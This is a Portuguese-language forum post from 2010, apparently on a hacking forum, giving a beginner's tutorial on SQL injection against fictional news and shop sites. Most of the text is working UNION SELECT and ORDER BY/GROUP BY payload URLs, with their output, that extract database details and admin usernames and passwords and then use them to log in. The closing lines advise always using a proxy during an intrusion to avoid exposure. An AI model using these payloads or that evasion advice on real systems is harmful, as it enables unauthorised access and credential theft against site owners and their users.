SQL Injection - Nivel Básico

Started by rahackzin, 25 de February , 2010, 02:27:55 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

rahackzin

::: INTRODUÇÃO :::

O SQL Injection, consta em explorar vulnerabilidades em servidores que utilizam banco de dados como o MySQL. SQL Injection é utilizado para obter informações "sigilosas", como versão do database, senha de admin, usuário de admin, e assim vai. Basta saber explorar a falha.
Atualmente, a vulnerabilidade mais comum em aplicações web é o SQL Injection. Está presente em sites de lojas, de notícias, e em alguns sites lammers, que utilizam o banco de dados.
O método mais simples de SQL é utilizando as famosas "Strings", que são injetadas nos campos de usuário e senha para confundir o banco de dados, e automaticamente liberar o acesso ao admin. Apesar de simples, está dificil de utilizar esta maneira atualmente.


::: SQL CLÁSSICO :::

Este método é o mais famoso, e é conhecido por muitos, porém não é todo mundo que consegue obter uma série de dados do banco de dados.
Vamos começar :)

Imagine se agente estiver navegando por um site, e ele tiver uma área destinada à noticias... Se fosse no ponto de vista de algum usuário comum de computador, não faria nada, apenas leria as noticias do dia. Mas então, se quem estivesse visitando o site fosse alguém que estivesse aprendendo SQL Injection, ou que já soubesse, verificaria a URL.
Este usuário que está interessado em explorar a vulnerabilidade, verá que tem a seguinte URL aquela notícia:

http://www.sitedenoticias.com.br/noticias.php?id=73

Ao ver isto, certamente ele irá checar se o site é vulnerável a SQL Injection.
Para isto, ele insere uma ' depois do ID da notícia, ficando assim a URL:


http://www.sitedenoticias.com.br/noticias.php?id=73';

Como o site estava vulnerável, foi retornado o seguinte erro:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Caso o site não estivesse vulneravel, não seria retornado nenhum erro.

Agora que o usuário percebeu que o site estava vulnerável à SQL Injection, ele deverá checar o numero de colunas. Para isto ele utilizará o ORDER BY!
Para utilizar o ORDER BY, ele irá incrementando o número de possíveis colunas até ser retornado um erro!


http://www.sitedenoticias.com.br/noticias.php?id=73 ORDER BY 1

Como não foi retornado nenhum erro, ele foi incrementando o número de possíveis colunas

http://www.sitedenoticias.com.br/noticias.php?id=73 ORDER BY 2
http://www.sitedenoticias.com.br/noticias.php?id=73 ORDER BY 3
http://www.sitedenoticias.com.br/noticias.php?id=73 ORDER BY 4
http://www.sitedenoticias.com.br/noticias.php?id=73 ORDER BY 5
http://www.sitedenoticias.com.br/noticias.php?id=73 ORDER BY 6
http://www.sitedenoticias.com.br/noticias.php?id=73 ORDER BY 7


Quando ele chegou ao 7, foi retornado o seguinte erro:

Unknown column '7' in 'order clause'

Então, descobrimos que existem apenas 6 colunas!

Agora que temos o número de colunas, utilizaremos o comando UNION para descobrirmos as informações!
Primeiramente, deveremos adicionar um hífen - antes do ID da notícia, ficando assim:

http://www.sitedenoticias.com.br/noticias.php?id=-73

Agora, vamos utilizar o número de colunas que descobrimos anteriormente, para descobrirmos a versão do banco de dados!

http://www.sitedenoticias.com.br/noticias.php?id=-73 UNION ALL SELECT 1,2,3,4,5,6

Irá ser retornado alguns números. Vamos supor que foi retornado o: 2 o 3 e o 5.

Então faremos assim:

http://www.sitedenoticias.com.br/noticias.php?id=-73 UNION ALL SELECT 1,version(),3,4,5,6

Então onde se encontrava o 2 apareceu a versão do banco de dados, que no caso foi:

5.0.45-community-nt, que é a versão.

Vamos descobrir o nome do banco de dados também! Para isto façam o seguinte:

http://www.sitedenoticias.com.br/noticias.php?id=-73 UNION ALL SELECT 1,database(),3,4,5,6

Foi retornado o seguinte nome: ULT_NOTICIAS


Feito isto, agora iremos obter o nome das tabelas e das colunas!

Os nomes mais comuns para as tabelas são: admin, user, usuario, administrador, administrator, usuarios

Já os mais comuns para colunas são: senha, login, pass, usuario, user, pwd, password, usuarios

Vamos checar então se a tabela admin existe:

http://www.sitedenoticias.com.br/noticias.php?id=-73 UNION ALL SELECT 1,2,3,4,5,6 from admin

Como nenhum erro foi retornado, descobrimos que ela existe! Caso contrário apareceria um erro mais ou menos assim:

Table 'ult_noticias.admin' doesn't exist

Agora que nosso aprendiz de SQL descobriu a tabela, ele irá tentar descobrir o usuário e a senha da área administrativa! Com este objetivo ele inseriu as seguintes colunas:

http://www.sitedenoticias.com.br/noticias.php?id=-73 UNION ALL SELECT 1,usuario,senha,4,5,6 from admin

Nenhum erro foi retornado, e no local onde aparecia um "2" apareceu "giulian" e onde estava o "3" apareceu "unicornio".

Se as colunas estivessem erradas o erro retornado seria mais ou menos assim:

Unknown column 'usuario' in 'field list'

Agora nosso usuário que explorou a vulnerabilidade de SQL Injection no site de notícias acessa a área administrativa do site utilizando o usuário e a senha que obteve!
Neste caso ele obteu sorte, pois não pegou nenhuma senha, ou algum dado criptografado.
Acho que falarei um pouco sobre isto em outro tópico, para este não ficar muito extenso! hehe

Este foi o SQL Injection Clássico!


::: SQL UNION :::

Agora que acabamos de ver sobre o SQL Clássico iremos ver um exemplo de SQL Injection utilizando apenas o comando Union!
Este pode ser visto como mais simples que o outro, mas depende do ponto de vista :)
Vamos começar com o SQL Injection com o comando UNION então!
Se formos comparar o Union com o clássico veremos que há semelhanças pois utilizam um estilo mais ou menos parecido... Eu não vou explicar muito a respeito dos erros pois já dei uma visão superficial no SQL Injection Clássico! Vamos lá...

Agora, nosso usuário aprendiz está visitando um site de loja virtual, e se depara que cada produto possuí um ID próprio, então, como ele gosta de passar por novas experiências, irá tentar explorar novamente uma Injeção SQL rsrs!

A URL do produto que ele estava olhando era:

http://www.supermercado.com/Loja/produto.php?ID=12

Então, para ver se o site era vulnerável ele colocou o ', e foi retornado o erro:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Agora ele irá descobrir o número de colunas, colocando o hífen na frente do ID:

http://www.supermercado.com/Loja/produto.php?ID=-12 Group by 100

Será retornado o erro:

Unknown column '100' in 'group statement'

Agora então, ele diminui para 10

Retornou erro.

Agora para 5...

http://www.supermercado.com/Loja/produto.php?ID=-12 Group by 5



Unknown column '5' in 'group statement'

Novamente foi retornado o erro.

Logo em seguida decresceu para 4, porém não houve nenhum erro!
Acabamos de descobrir que existem apenas 4 colunas!

Então vamos verifiicar o nome do banco de dados, e a versão!

Primeiramente

http://www.supermercado.com/Loja/produto.php?ID=-45 union select 1,2,3,4

Como foram retornados as colunas 2 e 4 faremos o seguinte:

http://www.supermercado.com/Loja/produto.php?ID=-45 union select 1,database(),3,version()[/color]

Na coluna 2 foi retornado: VIRTUAL_STORE
Na coluna 4 foi retornado: 5.0.45-community-nt

Pronto, agora vamos descobrir o nome das colunas e das tabelas! As mais usadas eu já citei no método clássico de SQL Injection hehe!

Vamos descobrir se a tabela usuarios e as colunas senha e user existem!

http://www.supermercado.com/Loja/produto.php?ID=-45 Union Select 1,user,3,senha from usuarios

Na mosca! Não foi retornado erro, e então ele obteve o usuário e a senha da área administrativa novamente!
Agora ele poderia entrar e fazer o que desejasse, porém, como foi motivo de testes e estudos, ele apenas enviou um email para o administrador, contatando a vulnerabilidade!


::: CONCLUSÃO :::

Neste tutorial vimos como explorar o básico da vulnerabilidade SQL Injection, obtendo algumas informações sobre o banco de dados, e também ganhando acesso à área administrativa com os dados de usuário e senha obtidos na exploração da vulnerabilidade! hehe
Todos sites e informações utilizados neste tutorial são fictícios, dando apenas uma idéia superficial de como realizar um SQL Injection! Os dois métodos que vimos, se bem explorados, podem obter muitos dados sobre algum site!
Este tutorial foi criado para ensinar os métodos básicos de SQLi! E sempre que você for realizar alguma invasão deve utilizar um proxy, para não se expor!

Espero que vocês tenham gostado deste tutorial e que ele seja muito útil!

Autor: Rahackzin